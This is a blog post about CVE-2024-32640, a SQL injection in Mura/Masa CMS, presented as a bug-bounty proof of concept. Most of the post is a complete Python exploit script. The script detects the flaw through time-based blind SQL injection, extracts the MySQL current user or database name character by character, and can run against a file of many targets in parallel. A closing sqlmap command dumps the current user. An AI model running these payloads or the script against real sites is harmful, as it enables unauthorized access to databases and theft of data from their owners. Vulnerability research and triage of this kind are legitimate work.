Tag Archives: masa

Mura/Masa CMS – SQL Injection CVE-2024-32640

A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.

Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.

I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.

Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.

#!/usr/bin/env python3

import requests
import argparse
import time
from urllib.parse import quote
from multiprocessing.dummy import Pool
import sys 

requests.packages.urllib3.disable_warnings()

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept")
    parser.add_argument('-u', '--url', dest='url', type=str, help='Input URL for single target testing')
    parser.add_argument('-f', '--file', dest='file', type=str, help='File containing a list of URLs')
    parser.add_argument('-p', '--proxy', action='store_true', help='Use a proxy (localhost:8080)')
    parser.add_argument('--dump', dest='dump', choices=['dbname', 'user'], help='Dump specific information (e.g., dbname, user)')
    args = parser.parse_args()

    global proxies
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    } if args.proxy else None

    if args.dump:
        if args.url:
            if args.dump == 'dbname':
                dump_info(args.url, 'DATABASE()', quote('DATABASE()'))
            elif args.dump == 'user':
                dump_info(args.url, 'CURRENT_USER()', quote('CURRENT_USER()'))
        elif args.file:
            with open(args.file, 'r', encoding='utf-8') as fp:
                url_list = [line.strip() for line in fp]
            mp = Pool(10)
            if args.dump == 'dbname':
                mp.map(lambda url: dump_info(url, 'DATABASE()', quote('DATABASE()')), url_list)
            elif args.dump == 'user':
                mp.map(lambda url: dump_info(url, 'CURRENT_USER()', quote('CURRENT_USER()')), url_list)
            mp.close()
            mp.join()
    elif args.url and not args.file:
        poc(args.url)
    elif args.file:
        with open(args.file, 'r', encoding='utf-8') as fp:
            url_list = [line.strip() for line in fp]
        mp = Pool(10)
        mp.map(poc, url_list)
        mp.close()
        mp.join()
    else:
        print(f"Usage:\n\t python3 {sys.argv[0]} -h")

def poc(target):
    """Check if the target is vulnerable using a time-based SQL injection."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    detection_payload = "x%5C%27+AND+%28SELECT+3504+FROM+%28SELECT%28SLEEP%285%29%29%29MQYa%29--+pizzapower"

    data = f"object=displayregion&contenthistid={detection_payload}&previewid=1"

    session = requests.Session()
    start_time = time.time()
    response = session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
    elapsed_time = time.time() - start_time

    if elapsed_time >= 5:
        print(f'[+] The target {target} is vulnerable to SQL injection.')
        with open('result.txt', 'a') as f:
            f.write(target + '\n')
    else:
        print(f'[-] The target {target} does not appear to be vulnerable.')

def dump_info(target, readable_function, encoded_function):
    """Extract specified information (e.g., database name, user) using time-based blind SQL injection for MySQL."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    extracted_info = ""
    print(f"Extracting {readable_function} for {target}...")

    session = requests.Session()

    for i in range(1, 33):  # Assuming max length is 32 characters
        low, high = 32, 126 
        while low <= high:
            mid = (low + high) // 2
            full_sleep_time = 3
            payload = (f"x%5C%27%27+AND+%28SELECT+6666+FROM+%28SELECT%28SLEEP%28{full_sleep_time}-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28{encoded_function}+AS+NCHAR%29%2C0x20%29%29%2C{i}%2C1%29%29%3E{mid}%2C0%2C1%29%29%29%29%29KLkb%29--+pizzapower")
            data = f"object=displayregion&contenthistid={payload}&previewid=1"

            start_time = time.time()
            session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
            elapsed_time = time.time() - start_time
            if elapsed_time >= full_sleep_time:
                low = mid + 1 
            else:
                high = mid - 1 

        if high >= 32:
            extracted_info += chr(high + 1)
            print(f"Extracted so far for {readable_function}: {extracted_info}")
        else:
            break 

    if extracted_info:
        print(f"{readable_function} extracted: {extracted_info}")
        with open(f'{readable_function.lower()}_result.txt', 'a') as f:
            f.write(f'{target}: {extracted_info}\n')
    else:
        print(f"Failed to extract {readable_function} for {target}. Ensure the database type is MySQL.")

if __name__ == '__main__':
    main()

But wait! If you’re in a real big hurry, just run this SQLMap command to dump the current user 🤣

sqlmap -u "https://example.com/index.cfm/_api/json/v1/default/?method=processAsyncObject" \
       --data "object=displayregion&contenthistid=x%5C'*--+Arrv&previewid=1" \
       --level 3 --risk 2 --method POST \
       --technique=T \
       --timeout=5 \
       --dbms=mysql \
       --current-user \
       --batch